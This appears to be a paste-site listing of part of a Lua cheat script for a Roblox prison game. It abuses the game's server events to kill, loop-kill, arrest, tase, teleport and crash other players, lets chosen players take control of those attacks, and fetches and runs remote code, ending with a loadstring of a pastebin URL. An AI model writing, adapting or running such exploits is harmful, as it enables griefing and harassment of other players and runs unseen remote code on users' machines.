  2535. if Player ~= nil and not Admin[Player.UserId] then
  2536. Admin[Player.UserId] = {Player = Player}
  2537. Chat("/w "..Player.Name.." You've got admin permissions! Type "..Prefix.."cmds or "..Prefix.."cmd to see all commands")
  2538. Notify("Gave "..Player.Name.." admin commands", Color3.fromRGB(0, 255, 0), "Success")
  2539. else
  2540. Notify("No player found / already admin", Color3.fromRGB(255, 0, 0), "Error")
  2541. end
  2542. end
  2543. if Command("unadmin") or Command("removeadmin") then
  2544. local Player = GetPlayer(Arg2)
  2545. if Player ~= nil and Admin[Player.UserId] then
  2546. Admin[Player.UserId] = nil
  2547. Chat("/w "..Player.Name.." You are bad you've been removed admin permissions")
  2548. Notify("Removed admins from "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  2549. else
  2550. Notify("No player found / already admin", Color3.fromRGB(255, 0, 0), "Error")
  2551. end
  2552. end
  2553. if Command("baseballbat") or Command("bat") then
  2554. local LocalPlayer = game.Players.LocalPlayer
  2555. local Character = LocalPlayer.Character
  2556. local Backpack = LocalPlayer.Backpack
  2557. local Humanoid = Character.Humanoid
  2558. if not Backpack:FindFirstChild("Bat") or not Backpack:FindFirstChild("Bat") then
  2559. local BaseBallBat = Instance.new("Tool", Backpack)
  2560. local Handle = Instance.new("Part", BaseBallBat)
  2561. BaseBallBat.GripPos = Vector3.new(0, -1.15, 0)
  2562. BaseBallBat.Name = "Bat"
  2563. Handle.Name = "Handle"
  2564. Handle.Size = Vector3.new(0.4, 5, 0.4)
  2565. local Animation =Instance.new("Animation", BaseBallBat)
  2566. Animation.AnimationId = "rbxassetid://218504594"
  2567. local Track = Humanoid:LoadAnimation(Animation)
  2568. local Cooldown = false
  2569. local Attacked = false
  2570. local Attacking = false
  2571. BaseBallBat.Equipped:Connect(function()
  2572. BaseBallBat.Activated:Connect(function()
  2573. if not Cooldown then
  2574. Cooldown = true
  2575. Attacking = true
  2576. Track:Play()
  2577. Handle.Touched:Connect(function(Hit)
  2578. if Hit.Parent and Hit.Parent ~= game.Players.LocalPlayer and not Attacked and Attacking then
  2579. Attacked = true
  2580. for i = 1,15 do
  2581. game.ReplicatedStorage.meleeEvent:FireServer(game.Players[Hit.Parent.Name])
  2582. end
  2583. end
  2584. end)
  2585. wait(0.25)
  2586. Cooldown = false
  2587. Attacked = false
  2588. Attacking = false
  2589. end
  2590. end)
  2591. end)
  2592. end
  2593. Notify("Obtained base ball bat", Color3.fromRGB(0, 255, 0), "Success")
  2594. end
  2595. if Command("tools") or Command("tool") or Command("btool") or Command("btools") then
  2596. local Backpack = game.Players.LocalPlayer.Backpack
  2597. local Character = game.Players.LocalPlayer.Character
  2598. if not Backpack:FindFirstChild("Bin_1") and not Character:FindFirstChild("Bin_1") then
  2599. local HopperBin_1 = Instance.new("HopperBin", Backpack)
  2600. HopperBin_1.BinType = 1
  2601. HopperBin_1.Name = "Bin_1"
  2602. end
  2603. if not Backpack:FindFirstChild("Bin_2") and not Character:FindFirstChild("Bin_2") then
  2604. local HopperBin_2 = Instance.new("HopperBin", Backpack)
  2605. HopperBin_2.BinType = 2
  2606. HopperBin_2.Name = "Bin_2"
  2607. end
  2608. if not Backpack:FindFirstChild("Bin_3") and not Character:FindFirstChild("Bin_3") then
  2609. local HopperBin_3 = Instance.new("HopperBin", Backpack)
  2610. HopperBin_3.BinType = 3
  2611. HopperBin_3.Name = "Bin_3"
  2612. end
  2613. if not Backpack:FindFirstChild("Bin_4") and not Character:FindFirstChild("Bin_4") then
  2614. local HopperBin_4 = Instance.new("HopperBin", Backpack)
  2615. HopperBin_4.BinType = 4
  2616. HopperBin_4.Name = "Bin_4"
  2617. end
  2618. loadstring(game:GetObjects("rbxassetid://552440069")[1].Source)()
  2619. Notify("Obtained btools", Color3.fromRGB(0, 255, 0), "Success")
  2620. end
  2621. if Command("test") then
  2622. local savedcf = GetPos()
  2623. local CrimPad = workspace["Criminals Spawn"].SpawnLocation
  2624. local padcf = CrimPad.CFrame
  2625. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Really red").Name)
  2626. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CrimPad.CFrame
  2627. wait()
  2628. CrimPad.CFrame = GetPos()
  2629. CrimPad.CanCollide = false
  2630. CrimPad.Transparency = 1.000
  2631. CrimPad.Anchored = true
  2632. pcall(function()
  2633. for i,v in pairs(game.Teams.Inmates:GetPlayers()) do
  2634. if v ~= game.Players.LocalPlayer then
  2635. CrimPad.CFrame = v.Character.HumanoidRootPart.CFrame
  2636. end
  2637. end
  2638. for i,v in pairs(game.Teams.Guards:GetPlayers()) do
  2639. if v ~= game.Players.LocalPlayer then
  2640. CrimPad.CFrame = v.Character.HumanoidRootPart.CFrame
  2641. end
  2642. end
  2643. end)
  2644. workspace.Remote.loadchar:InvokeServer()
  2645. CrimPad.Transparency = 0.000
  2646. CrimPad.CFrame = padcf
  2647. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2648. Notify("???", Color3.fromRGB(0, 0, 0), "LOL")
  2649. end
  2650. if Command("antilag") or Command("boostfps") then
  2651. States.BoostFps = true
  2652. Notify("Turn anti lag on", Color3.fromRGB(0, 255, 0), "Success")
  2653. for _, v in pairs(game:GetDescendants()) do
  2654. pcall(function()
  2655. v.Material = Enum.Material.Plastic
  2656. States[v.Name] = {Material = v.Material}
  2657. end)
  2658. end
  2659. while wait() do
  2660. if States.BoostFps then
  2661. for i,v in pairs(game.Players:GetChildren()) do
  2662. if v ~= game.Players.LocalPlayer then
  2663. pcall(function()
  2664. if v.Character.Humanoid.Health < 1 then
  2665. v.Character:Destroy()
  2666. end
  2667. end)
  2668. end
  2669. end
  2670. end
  2671. end
  2672. end
  2673. if Command("unantilag") then
  2674. States.BoostFps = false
  2675. Notify("Turn anti lag off", Color3.fromRGB(0, 255, 0), "Success")
  2676. for _, v in pairs(game:GetDescendants()) do
  2677. pcall(function()
  2678. v.Material = States[v.Name].Material
  2679. end)
  2680. end
  2681. end
  2682. if Command("serverhop") or Command("newserver") or Command("changeserver") then
  2683. Notify("Changing server", Color3.fromRGB(0, 255, 0), "Success")
  2684. wait(.1)
  2685. game:GetService("TeleportService"):Teleport(game.PlaceId)
  2686. end
  2687. if Command("nexus") then
  2688. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(888, 100, 2388)
  2689. end
  2690. if Command("cafe") then
  2691. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(877, 100, 2256)
  2692. end
  2693. if Command("backnexus") then
  2694. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(982, 100, 2334)
  2695. end
  2696. if Command("yard") then
  2697. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(791, 98, 2498)
  2698. end
  2699. if Command("crimbase") or Command("criminalbase") then
  2700. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-943, 95, 2055)
  2701. end
  2702. if Command("armory") then
  2703. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(789, 100, 2260)
  2704. end
  2705. if Command("lunchroom") then
  2706. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(905, 100, 2226)
  2707. end
  2708. if Command("gate") then
  2709. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(505, 103, 2250)
  2710. end
  2711. if Command("tower") then
  2712. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(822, 131, 2588)
  2713. end
  2714. if Command("gatetower") then
  2715. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(502, 126, 2306)
  2716. end
  2717. if Command("sewer") then
  2718. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(916, 79, 2311)
  2719. end
  2720. if Command("makecrimall") then
  2721. local savedcf = GetPos()
  2722. local CrimPad = workspace["Criminals Spawn"].SpawnLocation
  2723. local padcf = CrimPad.CFrame
  2724. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Really red").Name)
  2725. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CrimPad.CFrame
  2726. wait()
  2727. CrimPad.CFrame = GetPos()
  2728. CrimPad.CanCollide = false
  2729. CrimPad.Transparency = 1.000
  2730. CrimPad.Anchored = true
  2731. repeat wait()
  2732. pcall(function()
  2733. for i,v in pairs(game.Teams.Inmates:GetPlayers()) do
  2734. if v ~= game.Players.LocalPlayer then
  2735. Teleport(v, CrimPad.CFrame)
  2736. end
  2737. end
  2738. for i,v in pairs(game.Teams.Guards:GetPlayers()) do
  2739. if v ~= game.Players.LocalPlayer then
  2740. Teleport(v, CrimPad.CFrame)
  2741. end
  2742. end
  2743. end)
  2744. until #game.Teams.Criminals:GetPlayers() == (#game.Players:GetPlayers()-#game.Teams.Neutral:GetPlayers())
  2745. workspace.Remote.loadchar:InvokeServer()
  2746. CrimPad.Transparency = 0.000
  2747. CrimPad.CFrame = padcf
  2748. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2749. Notify("Make everyone crimmed", Color3.fromRGB(0, 255, 0), "Success")
  2750. end
  2751. if Command("bringall") then
  2752. for i,v in pairs(game.Players:GetPlayers()) do
  2753. if v ~= game.Players.LocalPlayer then
  2754. Teleport(v, GetPos())
  2755. end
  2756. end
  2757. Notify("Broght all", Color3.fromRGB(0, 255, 0), "Success")
  2758. end
  2759. if Command("notify") then
  2760. States.Notify = true
  2761. Notify("Notify on", Color3.fromRGB(0, 255, 0), "Success")
  2762. end
  2763. if Command("nonotify") then
  2764. States.Notify = false
  2765. Notify("Notify off", Color3.fromRGB(0, 255, 0), "Success")
  2766. end
  2767. if PrefixCommand("getprefix") then
  2768. Chat("Prefix : "..Prefix)
  2769. Notify("Prefix : "..Prefix, Color3.fromRGB(0, 255, 0), "Success")
  2770. end
  2771. if Command("cmd") or Command("cmds") then
  2772. if Background.Visible == true then
  2773. Background.Visible = false
  2774. else
  2775. Background.Visible = true
  2776. end
  2777. Notify("Showed Commands", Color3.fromRGB(0, 255, 0), "Success")
  2778. end
  2779.  
  2780. end
  2781.  
  2782. function AdminPlayerChatted(Message, Player)
  2783. Split = Message:split(" ")
  2784. Arg1 = Split[1]
  2785. Arg2 = Split[2]
  2786. Arg3 = Split[3]
  2787. Arg4 = Split[4]
  2788. if Command("nexus") then
  2789. Teleport(Player, CFrame.new(888, 100, 2388))
  2790. end
  2791. if Command("cafe") then
  2792. Teleport(Player, CFrame.new(877, 100, 2256))
  2793. end
  2794. if Command("backnexus") then
  2795. Teleport(Player, CFrame.new(982, 100, 2334))
  2796. end
  2797. if Command("armory") then
  2798. Teleport(Player, CFrame.new(789, 100, 2260))
  2799. end
  2800. if Command("tower") then
  2801. Teleport(Player, CFrame.new(822, 131, 2588))
  2802. end
  2803. if Command("crimbase") or Command("criminalbase") then
  2804. Teleport(Player, CFrame.new(-942, 94, 2055))
  2805. end
  2806. if Command("bring") then
  2807. TeleportV(GetPlayer(Arg2), Player)
  2808. end
  2809. if Command("void") then
  2810. Teleport(GetPlayer(Arg2), CFrame.new(99999, 99999, 99999))
  2811. end
  2812. if Command("beam") then
  2813. Beam(GetPlayer(Arg2), math.huge, 1)
  2814. end
  2815. if Command("yard") then
  2816. Teleport(Player, CFrame.new(791, 98, 2498))
  2817. end
  2818. if Command("disconnect") then
  2819. States.Disconnect = true
  2820. while wait() do
  2821. if States.Disconnect then
  2822. coroutine.wrap(function()
  2823. pcall(function()
  2824. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  2825.  
  2826. local Gun = game.Players.LocalPlayer.Backpack["Remington 870"] or game.Players.LocalPlayer.Character["Remington 870"]
  2827.  
  2828. local args = {
  2829. [1] = {
  2830. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2831. ["Distance"] = 0,
  2832. ["Cframe"] = CFrame.new(),
  2833. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2834. }, [2] = {
  2835. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2836. ["Distance"] = 0,
  2837. ["Cframe"] = CFrame.new(),
  2838. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2839. }, [3] = {
  2840. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2841. ["Distance"] = 0,
  2842. ["Cframe"] = CFrame.new(),
  2843. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2844. }, [4] = {
  2845. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2846. ["Distance"] = 0,
  2847. ["Cframe"] = CFrame.new(),
  2848. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2849. }, [5] = {
  2850. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2851. ["Distance"] = 0,
  2852. ["Cframe"] = CFrame.new(),
  2853. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2854. }, [6] = {
  2855. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2856. ["Distance"] = 0,
  2857. ["Cframe"] = CFrame.new(),
  2858. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2859. }, [7] = {
  2860. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2861. ["Distance"] = 0,
  2862. ["Cframe"] = CFrame.new(),
  2863. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2864. }, [8] = {
  2865. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2866. ["Distance"] = 0,
  2867. ["Cframe"] = CFrame.new(),
  2868. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2869. }
  2870. }
  2871.  
  2872. game:GetService("ReplicatedStorage").ShootEvent:FireServer(args, Gun)
  2873. end)
  2874. end)()
  2875. end
  2876. end
  2877. end
  2878. if Command("undisconnect") then
  2879. States.Disconnect = false
  2880. end
  2881. if Command("spamarrest") then
  2882. local GP = GetPlayer(Arg2)
  2883. if GP then
  2884. States.SpamArrest2 = true
  2885. repeat wait()
  2886. local Time = 0
  2887. pcall(function()
  2888. if GP.TeamColor.Name == "Bright orange" then
  2889. Teleport(GP, GetPos())
  2890. repeat wait(.01)
  2891. Time = Time + 1
  2892. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = GP.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
  2893. workspace.Remote.arrest:InvokeServer(GP.Character.Head)
  2894. until GP.Character.Head:FindFirstChild("handcuffedGui") or Time >= 250
  2895. if GP.Character.Head:FindFirstChild("handcuffedGui") then
  2896. Arrest(GP, 10000)
  2897. end
  2898. end
  2899. if GP.TeamColor.Name ~= "Really red" and not GP.Character.Head:FindFirstChild("handcuffedGui") then
  2900. if not States.SpamArrest2 then return end
  2901. repeat Teleport(GP, CFrame.new(-919, 96, 2138)) until GP.TeamColor.Name == "Really red" or not States.SpamArrest2 or not game.Players[GP.Name]
  2902. end
  2903. wait(.1)
  2904. if not GP.Character.Head:FindFirstChild("handcuffedGui") then
  2905. Arrest(GP, 10000)
  2906. end
  2907. end)
  2908. until not States.SpamArrest2 or not game.Players[GP.Name]
  2909. end
  2910. end
  2911. if Command("unspamarrest") then
  2912. States.SpamArrest2 = false
  2913. end
  2914. if Command("killguard") or Command("killguards") then
  2915. for i,v in pairs(game.Teams.Guards:GetPlayers()) do
  2916. if v ~= game.Players.LocalPlayer or v ~= Player then
  2917. Kill(v)
  2918. end
  2919. end
  2920. end
  2921. if Command("killinmate") or Command("killinmates") then
  2922. for i,v in pairs(game.Teams.Inmates:GetPlayers()) do
  2923. if v ~= game.Players.LocalPlayer or v ~= Player then
  2924. Kill(v)
  2925. end
  2926. end
  2927. end
  2928. if Command("killcriminal") or Command("killcriminals") then
  2929. for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
  2930. if v ~= game.Players.LocalPlayer or v ~= Player then
  2931. Kill(v)
  2932. end
  2933. end
  2934. end
  2935. if Command("killall") or Command("killothers") then
  2936. for i,v in pairs(game.Players:GetPlayers()) do
  2937. if v ~= game.Players.LocalPlayer or v ~= Player then
  2938. Kill(v)
  2939. end
  2940. end
  2941. end
  2942. if Command("kill") or Command("kills") then
  2943. Kill(GetPlayer(Arg2))
  2944. end
  2945. if Command("loopkill") or Command("loopkills") then
  2946. local Player = GetPlayer(Arg2)
  2947. if Player ~= nil and not LoopKill[Player.UserId] then
  2948. LoopKill[Player.UserId] = {Player = Player}
  2949. end
  2950. end
  2951. if Command("unloopkill") or Command("unloopkills") then
  2952. local Player = GetPlayer(Arg2)
  2953. if Player ~= nil and LoopKill[Player.UserId] then
  2954. LoopKill[Player.UserId] = nil
  2955. end
  2956. end
  2957. if Command("tase") then
  2958. local Player = GetPlayer(Arg2)
  2959. if Player ~= nil then
  2960. Tase(Player)
  2961. end
  2962. end
  2963. if Command("makecrim") then
  2964. Teleport(GetPlayer(Arg2), CFrame.new(-919, 96, 2138))
  2965. end
  2966. if Command("arrest") then
  2967. Arrest(GetPlayer(Arg2))
  2968. end
  2969. if Command("crim") then
  2970. Teleport(Player, CFrame.new(-919, 96, 2138))
  2971. end
  2972. if Command("goto") or Command("to") then
  2973. TeleportV(Player, GetPlayer(Arg2))
  2974. end
  2975. if Command("cmd") or Command("cmds") then
  2976. Chat("/w "..Player.Name.." "..Prefix.."goto [plr] "..Prefix.."to [plr] "..Prefix.."kill [plr] "..Prefix.."kills [plr] "..Prefix.."makecrim [plr] "..Prefix.."arrest [plr] "..Prefix.."tase [plr] "..Prefix.."loopkill [plr] "..Prefix.."unloopkill [plr]") wait(.1)
  2977. Chat("/w "..Player.Name.." "..Prefix.."crim "..Prefix.."tower "..Prefix.."nexus "..Prefix.."backnexus "..Prefix.."cafe "..Prefix.."armory "..Prefix.."bring [plr]") wait(.1)
  2978. Chat("/w "..Player.Name.." "..Prefix.."killall "..Prefix.."killothers "..Prefix.."killinmate "..Prefix.."killinmates "..Prefix.."killguard "..Prefix.."killguards "..Prefix.."killcriminals "..Prefix.."killcriminal "..Prefix.."void [plr]")
  2979. Chat("/w "..Player.Name.." "..Prefix.."spamarrest [plr] "..Prefix.."unspamarrest "..Prefix.."disconnect "..Prefix.." "..Prefix.."beam [plr]")
  2980. Chat("/w "..Player.Name.." "..Prefix.."cmd "..Prefix.."cmds") wait(.1)
  2981. end
  2982. end
  2983.  
  2984. game.Players.LocalPlayer.Chatted:Connect(PlayerChatted)
  2985.  
  2986. spawn(function()
  2987. while wait() do
  2988. for i,v in pairs(LoopKill) do
  2989. pcall(function()
  2990. if v.Player and v.Player.Character and v.Player.Character.Head and v.Player.Character.Humanoid.Health ~= 0 then
  2991. Kill(v.Player)
  2992. end
  2993. end)
  2994. end
  2995. end
  2996. end)
  2997.  
  2998. spawn(function()
  2999. while wait() do
  3000. for i,v in pairs(LoopBeam) do
  3001. pcall(function()
  3002. if v and v.Player and v.Player.Character and v.Player.Character.Head and v.Player.Character.HumanoidRootPart then
  3003. Beam(v.Player, math.huge, 1)
  3004. end
  3005. end)
  3006. end
  3007. end
  3008. end)
  3009.  
  3010. spawn(function()
  3011. while wait() do
  3012. if States.Fast_Punch == true then
  3013. pcall(function()
  3014. getsenv(game.Players.LocalPlayer.Character.ClientInputHandler).cs.isFighting = false
  3015. end)
  3016. end
  3017. end
  3018. end)
  3019.  
  3020. coroutine.wrap(function()
  3021. while wait() do
  3022. if States.Kill_Aura then
  3023. for i,v in pairs(game.Players:GetPlayers()) do
  3024. pcall(function()
  3025. if v ~= game.Players.LocalPlayer then
  3026. local Distance = (v.Character:FindFirstChildOfClass("Part").Position - game.Players.LocalPlayer.Character:FindFirstChildOfClass("Part").Position).magnitude
  3027. if Distance <= 10 then
  3028. for i = 1,25 do
  3029. game.ReplicatedStorage.meleeEvent:FireServer(v)
  3030. end
  3031. end
  3032. end
  3033. end)
  3034. end
  3035. end
  3036. end
  3037. end)()
  3038.  
  3039. function CheckPermissions(Player)
  3040. Player.Chatted:Connect(function(Message)
  3041. if Admin[Player.UserId] then
  3042. AdminPlayerChatted(Message, Player)
  3043. end
  3044. end)
  3045. end
  3046.  
  3047. game.Players.PlayerRemoving:Connect(function(Player)
  3048. if States.Notify then
  3049. game.StarterGui:SetCore("SendNotification", {
  3050. Title = "Game",
  3051. Text = Player.DisplayName.." Rage Quit",
  3052. Icon = game.Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size352x352)
  3053. })
  3054. end
  3055. if States.ChatNotify then
  3056. Chat(Player.DisplayName.." Rage Quit")
  3057. end
  3058. end)
  3059.  
  3060. game.Players.PlayerAdded:Connect(function(Player)
  3061. if States.Notify then
  3062. game.StarterGui:SetCore("SendNotification", {
  3063. Title = "Game",
  3064. Text = Player.DisplayName.." Joined",
  3065. Icon = game.Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size352x352)
  3066. })
  3067. end
  3068. if States.ChatNotify then
  3069. Chat(Player.DisplayName.." Joined The Server")
  3070. end
  3071. CheckPermissions(Player)
  3072. CopyChat(Player)
  3073. Died(Player)
  3074. PlayerPickUp(Player)
  3075. end)
  3076.  
  3077. for i,v in pairs(game.Players:GetPlayers()) do
  3078. if v ~= game.Players.LocalPlayer then
  3079. CheckPermissions(v)
  3080. CopyChat(v)
  3081. Died(v)
  3082. PlayerPickUp(v)
  3083. end
  3084. end
  3085.  
  3086. game.Players.LocalPlayer.CharacterAdded:Connect(function()
  3087. States.CAN = false
  3088. end)
  3089.  
  3090. FindCmd.Changed:Connect(function()
  3091. if FindCmd.Text ~= "" then
  3092. for i,v in pairs(CmdHandler:GetChildren()) do
  3093. if v:IsA("TextButton") then
  3094. if not string.lower(v.Text):match(string.lower(FindCmd.Text)) then
  3095. v.Parent = Background
  3096. v.Visible = false
  3097. end
  3098. end
  3099. end
  3100. for i,v in pairs(Background:GetChildren()) do
  3101. if v.Name == "COMMANDS" then
  3102. if string.lower(v.Text):match(string.lower(FindCmd.Text)) then
  3103. v.Parent = CmdHandler
  3104. v.Visible = true
  3105. end
  3106. end
  3107. end
  3108. elseif FindCmd.Text == "" and (#CmdHandler:GetChildren()-1) ~= #Cmd then
  3109. for i,v in pairs(CmdHandler:GetChildren()) do
  3110. if v:IsA("TextButton") then
  3111. v:Destroy()
  3112. end
  3113. end
  3114. for i,v in pairs(Background:GetChildren()) do
  3115. if v.Name == "COMMANDS" then
  3116. v:Destroy()
  3117. end
  3118. end
  3119. for i = 1,#Cmd do
  3120. local clone = CmdText:Clone()
  3121. clone.Text = Cmd[i].Text
  3122. clone.Name = "COMMANDS"
  3123. local Ins = Instance.new("StringValue", clone)
  3124. Ins.Name = "Title"
  3125. Ins.Value = Cmd[i].Title
  3126. local Ins2 = Instance.new("StringValue", clone)
  3127. Ins2.Name = "TopbarName"
  3128. Ins2.Value = Cmd[i].Text:split(" ")[1]
  3129. clone.Parent = CmdHandler
  3130. clone.MouseButton1Click:Connect(function()
  3131. Execute:CaptureFocus()
  3132. Execute.Text = clone.Text:split(" ")[1]
  3133. Execute.CursorPosition = #Execute.Text + 1
  3134. end)
  3135. end
  3136. end
  3137. end)
  3138.  
  3139. game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(Key)
  3140. if Key == Prefix then
  3141. if Prefix ~= "/" then
  3142. Execute:CaptureFocus()
  3143. end
  3144. end
  3145. end)
  3146.  
  3147. Execute.FocusLost:Connect(function(FocusLost)
  3148. if FocusLost then
  3149. if Execute.Text:sub(1,#Prefix) ~= Prefix then
  3150. PlayerChatted(Prefix..Execute.Text)
  3151. else
  3152. PlayerChatted(Execute.Text)
  3153. end
  3154. end
  3155. end)
  3156.  
  3157. getgenv().DisableScript = function()
  3158. pcall(function()
  3159. CmdGui:Destroy()
  3160. States = {}
  3161. LoopKill = {}
  3162. LoopTase = {}
  3163. Admin = {}
  3164. ScriptDisabled = true
  3165. for i,v in pairs(game.Lighting:GetChildren()) do
  3166. v.Parent = workspace
  3167. end
  3168. end)
  3169. end
  3170. loadstring(game:HttpGet("https://pastebin.com/raw/mHfK0Xk4", true))()
Tags: #roblox
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